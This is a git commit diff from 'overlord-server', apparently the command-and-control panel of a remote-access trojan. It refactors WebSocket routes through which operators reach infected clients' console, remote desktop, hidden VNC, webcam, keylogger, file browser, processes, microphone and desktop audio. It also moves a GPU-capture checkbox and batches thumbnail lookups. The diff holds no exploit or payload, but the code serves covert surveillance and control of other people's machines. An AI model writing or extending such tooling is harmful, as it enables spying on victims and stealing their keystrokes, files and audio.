fix crit process, bun idk wtf it's doing has to be a chang with the 1.3 update. Modularize ws upgrades, fix hvnc not being in types, optimize thumbnail lookups.

This commit is contained in:
KingKDot
2026-05-29 22:51:25 -05:00
parent 206ade731d
commit fec4838156
7 changed files with 397 additions and 271 deletions
+1
View File
@@ -1,5 +1,6 @@
{
"lockfileVersion": 1,
"configVersion": 0,
"workspaces": {
"": {
"name": "overlord-server",
+3 -3
View File
@@ -130,6 +130,9 @@
</label>
<span id="codecMode" class="pill pill-ghost text-slate-100 text-xs">Codec: auto</span>
</div>
<label class="mt-2 flex items-center gap-2 text-sm text-slate-200" title="Use GPU desktop duplication (Windows only)">
<input type="checkbox" id="duplicationCtrl" /> GPU Capture
</label>
</div>
<div class="px-4 py-3 border-b border-slate-800">
@@ -162,9 +165,6 @@
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames">
<input type="checkbox" id="cursorCtrl" /> Cursor
</label>
<label class="flex items-center gap-2 text-sm text-slate-200" title="Use GPU desktop duplication (Windows only)">
<input type="checkbox" id="duplicationCtrl" /> GPU Capture
</label>
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Sync clipboard between your browser and the remote machine">
<input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync
</label>
+46 -42
View File
@@ -1,5 +1,5 @@
import type { ClientInfo, ListFilters, ListResult, ClientRole } from "../types";
import { hasThumbnail, getThumbnailVersion } from "../thumbnails";
import { getThumbnailSummaries } from "../thumbnails";
import { db, dbPath } from "./connection";
import "./schema";
@@ -905,48 +905,52 @@ export function listClients(filters: ListFilters): ListResult {
.all(...params, pageSize, offset);
const { floodedHwids, floodedHardware, floodedIps } = getFloodSetsWithCache();
const thumbnailSummaries = getThumbnailSummaries(rows.map((row: any) => row.id));
const items = rows.map((c: any) => ({
id: c.id,
hwid: c.hwid,
role: (c.role as ClientRole) || "client",
ip: c.ip || null,
lastSeen: Number(c.lastSeen) || 0,
host: c.host,
os: c.os || "unknown",
arch: c.arch || "arch?",
version: c.version || "0",
user: c.user,
nickname: c.nickname || null,
customTag: c.customTag || null,
customTagNote: c.customTagNote ?? null,
monitors: c.monitors,
country: c.country || "ZZ",
pingMs: c.pingMs ?? null,
online: c.online === 1,
bookmarked: c.bookmarked === 1,
buildTag: c.buildTag || null,
builtByUserId: typeof c.builtByUserId === "number" ? c.builtByUserId : null,
enrollmentStatus: c.enrollmentStatus || "pending",
publicKey: c.publicKey || null,
keyFingerprint: c.keyFingerprint || null,
cpu: c.cpu || null,
gpu: c.gpu || null,
ram: c.ram || null,
isAdmin: c.isAdmin === 1,
elevation: c.elevation || null,
permissions: c.permissions ? (() => { try { return JSON.parse(c.permissions); } catch { return null; } })() : null,
disconnectReason: c.disconnectReason || null,
disconnectDetail: c.disconnectDetail || null,
groupId: typeof c.groupId === "number" ? c.groupId : null,
groupName: c.groupName || null,
groupColor: c.groupColor || null,
notificationsMuted: c.notificationsMuted === 1,
denyReason: c.denyReason || null,
hasThumbnail: hasThumbnail(c.id),
thumbnailVersion: getThumbnailVersion(c.id),
suspiciousFlags: computeClientSuspiciousFlags(c, { floodedHwids, floodedHardware, floodedIps }),
}));
const items = rows.map((c: any) => {
const thumbnail = thumbnailSummaries.get(c.id);
return {
id: c.id,
hwid: c.hwid,
role: (c.role as ClientRole) || "client",
ip: c.ip || null,
lastSeen: Number(c.lastSeen) || 0,
host: c.host,
os: c.os || "unknown",
arch: c.arch || "arch?",
version: c.version || "0",
user: c.user,
nickname: c.nickname || null,
customTag: c.customTag || null,
customTagNote: c.customTagNote ?? null,
monitors: c.monitors,
country: c.country || "ZZ",
pingMs: c.pingMs ?? null,
online: c.online === 1,
bookmarked: c.bookmarked === 1,
buildTag: c.buildTag || null,
builtByUserId: typeof c.builtByUserId === "number" ? c.builtByUserId : null,
enrollmentStatus: c.enrollmentStatus || "pending",
publicKey: c.publicKey || null,
keyFingerprint: c.keyFingerprint || null,
cpu: c.cpu || null,
gpu: c.gpu || null,
ram: c.ram || null,
isAdmin: c.isAdmin === 1,
elevation: c.elevation || null,
permissions: c.permissions ? (() => { try { return JSON.parse(c.permissions); } catch { return null; } })() : null,
disconnectReason: c.disconnectReason || null,
disconnectDetail: c.disconnectDetail || null,
groupId: typeof c.groupId === "number" ? c.groupId : null,
groupName: c.groupName || null,
groupColor: c.groupColor || null,
notificationsMuted: c.notificationsMuted === 1,
denyReason: c.denyReason || null,
hasThumbnail: thumbnail?.hasThumbnail ?? false,
thumbnailVersion: thumbnail?.thumbnailVersion ?? 0,
suspiciousFlags: computeClientSuspiciousFlags(c, { floodedHwids, floodedHardware, floodedIps }),
};
});
return { page, pageSize, total: totalRow.c, online: onlineRow.c, items };
}
@@ -1,8 +1,9 @@
import { authenticateRequest } from "../../auth";
import { logger } from "../../logger";
import { isIpBanned } from "../../db";
import type { FeatureName } from "../../users";
import type { FeatureName, UserRole } from "../../users";
import { hasPermission, requireClientAccess, requireFeatureAccess } from "../../rbac";
import type { SocketRole } from "../../sessions/types";
type RequestServer = {
requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -57,38 +58,181 @@ function checkOperatorAccess(
return null;
}
type AuthenticatedUser = {
userId: number;
role: UserRole;
};
type ClientViewerUpgradeRoute = {
pattern: RegExp;
role: SocketRole;
feature: FeatureName;
sessionId?: () => string;
};
const clientViewerUpgradeRoutes: ClientViewerUpgradeRoute[] = [
{
pattern: /^\/api\/clients\/(.+)\/console\/ws$/,
role: "console_viewer",
feature: "console",
sessionId: () => crypto.randomUUID(),
},
{
pattern: /^\/api\/clients\/(.+)\/rd\/ws$/,
role: "rd_viewer",
feature: "remote_desktop",
},
{
pattern: /^\/api\/clients\/(.+)\/hvnc\/ws$/,
role: "hvnc_viewer",
feature: "hvnc",
},
{
pattern: /^\/api\/clients\/(.+)\/webcam\/ws$/,
role: "webcam_viewer",
feature: "webcam",
},
{
pattern: /^\/api\/clients\/(.+)\/files\/ws$/,
role: "file_browser_viewer",
feature: "file_browser",
},
{
pattern: /^\/api\/clients\/(.+)\/processes\/ws$/,
role: "process_viewer",
feature: "processes",
},
{
pattern: /^\/api\/clients\/(.+)\/keylogger\/ws$/,
role: "keylogger_viewer",
feature: "keylogger",
},
{
pattern: /^\/api\/clients\/(.+)\/voice\/ws$/,
role: "voice_viewer",
feature: "voice",
},
{
pattern: /^\/api\/clients\/(.+)\/desktop-audio\/ws$/,
role: "desktop_audio_viewer",
feature: "voice",
},
];
type GlobalViewerUpgradeRoute = {
path: string;
role: SocketRole;
authorize?: (user: AuthenticatedUser) => Response | null;
};
const globalViewerUpgradeRoutes: GlobalViewerUpgradeRoute[] = [
{ path: "/api/notifications/ws", role: "notifications_viewer" },
{ path: "/api/dashboard/ws", role: "dashboard_viewer" },
{
path: "/api/chat/ws",
role: "chat_viewer",
authorize: (user) =>
hasPermission(user.role, "chat:write", user.userId)
? null
: new Response("Forbidden: Chat access denied", { status: 403 }),
},
];
function getRequestIp(req: Request, server: RequestServer): string {
return server.requestIP(req)?.address || "";
}
function upgradeOrFail(
req: Request,
server: RequestServer,
data: Record<string, unknown>,
): Response {
if (server.upgrade(req, { data })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
async function authenticateViewerRequest(req: Request): Promise<AuthenticatedUser | Response> {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
return user;
}
async function tryClientViewerUpgrade(
req: Request,
url: URL,
server: RequestServer,
): Promise<Response | null> {
for (const route of clientViewerUpgradeRoutes) {
const match = url.pathname.match(route.pattern);
if (!match) continue;
const user = await authenticateViewerRequest(req);
if (user instanceof Response) return user;
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = match[1];
const denied = checkOperatorAccess(user, clientId, route.feature);
if (denied) return denied;
const data: Record<string, unknown> = {
role: route.role,
clientId,
ip: getRequestIp(req, server),
userRole: user.role,
userId: user.userId,
};
if (route.sessionId) {
data.sessionId = route.sessionId();
}
return upgradeOrFail(req, server, data);
}
return null;
}
async function tryGlobalViewerUpgrade(
req: Request,
url: URL,
server: RequestServer,
): Promise<Response | null> {
if (req.method !== "GET") return null;
const route = globalViewerUpgradeRoutes.find((candidate) => candidate.path === url.pathname);
if (!route) return null;
const user = await authenticateViewerRequest(req);
if (user instanceof Response) return user;
const denied = route.authorize?.(user);
if (denied) return denied;
return upgradeOrFail(req, server, {
role: route.role,
clientId: "",
ip: getRequestIp(req, server),
userRole: user.role,
userId: user.userId,
});
}
export async function handleWsUpgradeRoutes(
req: Request,
url: URL,
server: RequestServer,
deps: WsUpgradeDeps,
): Promise<Response | null> {
const ip = server.requestIP(req)?.address || "";
const ip = getRequestIp(req, server);
if (isWsRateLimited(ip)) {
return new Response("Too Many Requests", { status: 429 });
}
const consoleWsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/console\/ws$/);
if (consoleWsMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = consoleWsMatch[1];
const denied = checkOperatorAccess(user, clientId, "console");
if (denied) return denied;
const sessionId = crypto.randomUUID();
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "console_viewer", clientId, sessionId, ip, userRole: user.role, userId: user.userId } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const wsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/stream\/ws$/);
if (wsMatch) {
logger.info(`[auth] Checking agent authorization for client connection`);
@@ -97,215 +241,18 @@ export async function handleWsUpgradeRoutes(
}
const clientId = wsMatch[1];
const role = "client";
const ip = server.requestIP(req)?.address || "";
if (ip && isIpBanned(ip)) {
logger.warn(`[auth] Rejected banned IP ${ip} for client ${clientId}`);
return new Response("Forbidden", { status: 403 });
}
if (server.upgrade(req, { data: { role, clientId, ip } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
return upgradeOrFail(req, server, { role, clientId, ip });
}
const rdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/rd\/ws$/);
if (rdMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
const clientViewerResponse = await tryClientViewerUpgrade(req, url, server);
if (clientViewerResponse) return clientViewerResponse;
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = rdMatch[1];
const denied = checkOperatorAccess(user, clientId, "remote_desktop");
if (denied) return denied;
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "rd_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const hvncMatch = url.pathname.match(/^\/api\/clients\/(.+)\/hvnc\/ws$/);
if (hvncMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = hvncMatch[1];
const denied = checkOperatorAccess(user, clientId, "hvnc");
if (denied) return denied;
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "hvnc_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const webcamMatch = url.pathname.match(/^\/api\/clients\/(.+)\/webcam\/ws$/);
if (webcamMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = webcamMatch[1];
const denied = checkOperatorAccess(user, clientId, "webcam");
if (denied) return denied;
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "webcam_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const fbMatch = url.pathname.match(/^\/api\/clients\/(.+)\/files\/ws$/);
if (fbMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = fbMatch[1];
const denied = checkOperatorAccess(user, clientId, "file_browser");
if (denied) return denied;
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "file_browser_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const processMatch = url.pathname.match(/^\/api\/clients\/(.+)\/processes\/ws$/);
if (processMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = processMatch[1];
const denied = checkOperatorAccess(user, clientId, "processes");
if (denied) return denied;
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "process_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const keyloggerMatch = url.pathname.match(/^\/api\/clients\/(.+)\/keylogger\/ws$/);
if (keyloggerMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = keyloggerMatch[1];
const denied = checkOperatorAccess(user, clientId, "keylogger");
if (denied) return denied;
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "keylogger_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const voiceMatch = url.pathname.match(/^\/api\/clients\/(.+)\/voice\/ws$/);
if (voiceMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = voiceMatch[1];
const denied = checkOperatorAccess(user, clientId, "voice");
if (denied) return denied;
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "voice_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const desktopAudioMatch = url.pathname.match(/^\/api\/clients\/(.+)\/desktop-audio\/ws$/);
if (desktopAudioMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = desktopAudioMatch[1];
const denied = checkOperatorAccess(user, clientId, "voice");
if (denied) return denied;
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "desktop_audio_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
if (req.method === "GET" && url.pathname === "/api/notifications/ws") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "notifications_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
if (req.method === "GET" && url.pathname === "/api/dashboard/ws") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "dashboard_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
if (req.method === "GET" && url.pathname === "/api/chat/ws") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (!hasPermission(user.role, "chat:write", user.userId)) {
return new Response("Forbidden: Chat access denied", { status: 403 });
}
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "chat_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const globalViewerResponse = await tryGlobalViewerUpgrade(req, url, server);
if (globalViewerResponse) return globalViewerResponse;
return null;
}
+1
View File
@@ -5,6 +5,7 @@ export type SocketRole =
| ClientRole
| "console_viewer"
| "rd_viewer"
| "hvnc_viewer"
| "webcam_viewer"
| "file_browser_viewer"
| "process_viewer"
+17
View File
@@ -92,6 +92,23 @@ export function getThumbnailVersion(id: string): number {
return thumbnails.get(id)?.version ?? 0;
}
export type ThumbnailSummary = {
hasThumbnail: boolean;
thumbnailVersion: number;
};
export function getThumbnailSummaries(ids: readonly string[]): Map<string, ThumbnailSummary> {
const summaries = new Map<string, ThumbnailSummary>();
for (const id of ids) {
const thumbnail = thumbnails.get(id);
summaries.set(id, {
hasThumbnail: !!thumbnail,
thumbnailVersion: thumbnail?.version ?? 0,
});
}
return summaries;
}
export function clearThumbnail(id: string) {
thumbnails.delete(id);
latestFrames.delete(id);